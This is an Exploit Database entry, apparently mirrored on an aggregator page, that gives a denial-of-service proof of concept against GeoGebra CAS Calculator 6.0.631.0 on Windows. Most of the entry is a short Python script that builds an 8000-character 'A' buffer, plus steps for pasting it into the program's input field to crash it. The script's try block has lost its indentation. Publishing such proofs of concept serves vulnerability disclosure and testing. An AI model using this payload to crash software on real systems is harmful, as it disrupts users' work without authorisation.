GeoGebra CAS Calculato‪r‬ 6.0.631.0 – Denial of Service (PoC)

• Exploit Database
• 15 阅读

• 作者： Brian Rodriguez
  日期： 2021-03-16
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/49655/

• # Exploit Title: GeoGebra CAS Calculato‪r‬ 6.0.631.0 - Denial of Service (PoC)
  # Date: 2021-03-15
  # Exploit Author: Brian Rodriguez
  # Vendor Homepage: https://www.geogebra.org
  # Software Link: https://www.geogebra.org/download
  # Version: 6.0.631.0-offlinecas
  # Tested on: Windows 8.1 Pro
  
  # STEPS
  # Open the program Calculadora CAS
  # Run the python exploit script payload.py, it will create a new payload.txt file
  # Copy the content of the file "payload.txt"
  # Paste the content from payload.txt in the field "Entrada..."
  # Crashed
  
  --> payload.py <--
  #!/usr/bin/env python
  buffer = "\x41" * 8000
  
  try:
  f = open("payload.txt","w")
  f.write(buffer)
  f.close()
  print ("File created")
  except:
  print ("File cannot be created")